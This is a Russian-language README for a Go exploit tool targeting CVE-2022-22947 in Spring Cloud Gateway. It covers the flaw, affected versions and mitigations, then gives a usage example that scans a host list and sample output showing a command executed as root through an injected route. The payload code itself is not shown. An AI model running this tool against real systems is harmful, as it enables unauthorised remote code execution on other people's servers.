
Эксплойт на Go для CVE-2022-22947, обеспечивающий удаленное выполнение кода на уязвимых экземплярах Spring Cloud Gateway через специально сформированные запросы к actuator.
Spring Cloud Gateway — это новый проект в рамках экосистемы Spring Cloud, призванный заменить Netflix Zuul. Он разработан на основе Spring 5.0+, Spring Boot 2.0+ и WebFlux (основан на высокопроизводительной реактивной коммуникационной среде Netty с асинхронной неблокирующей моделью). Производительность Gateway выше, чем у Zuul; по официальным тестам Gateway в 1,6 раза быстрее Zuul. Цель проекта — предоставить простой и эффективный унифицированный способ управления маршрутизацией API для микросервисной архитектуры. Уязвимость удаленного выполнения кода в Spring Cloud Gateway (CVE-2022-22947) возникает в конечной точке Actuator приложения Spring Cloud Gateway. Если эта конечная точка включена, открыта и не защищена, она подвержена внедрению кода. Злоумышленник может использовать эту уязвимость для создания вредоносных запросов, позволяющих выполнить произвольный код на удаленном хосте. Оценка CVSS: 9,8. Уровень опасности: критический.
CVE-2022-22947
3.1.0 3.0.0 – 3.0.6 Версии до 3.0.0
Пользователям 3.1.x следует обновиться до 3.1.1+
Пользователям 3.0.x следует обновиться до 3.0.7+
Если конечная точка Actuator не требуется, её можно отключить с помощью параметра конфигурации management.endpoint.gateway.enable: false.
Если конечная точка Actuator необходима, следует защитить её с помощью Spring Security.
Этот скрипт написан на Go и скомпилирован для работы в Windows.
-cmd string Команда для выполнения (по умолчанию "id") -host string Целевой адрес или путь к файлу со списком хостов (по умолчанию "http://127.0.0.1:80")

Пример:
./cve_2022_22947.exe -host "C:\\Users\\Administrator\\Desktop\\hostlist.txt"
>cve_2022_22947.exe -host "C:\\Users\\Administrator\\Desktop\\hostlist.txt"
result: http://127.0.0.1:10089 : {"predicate":"RouteDefinitionRouteLocator$$Lambda$978/705851885","route_id":"hacktest","filters":["[[AddResponseHeader Result = 'uid=0(root) gid=0(root) groups=0(root)\n'], order = 1]"],"uri": "http://example.com:80","order":0}
vulnerable host:
http://127.0.0.1:10089
https://nosec.org/home/detail/4971.html https://github.com/lucksec/Spring-Cloud-Gateway-CVE-2022-22947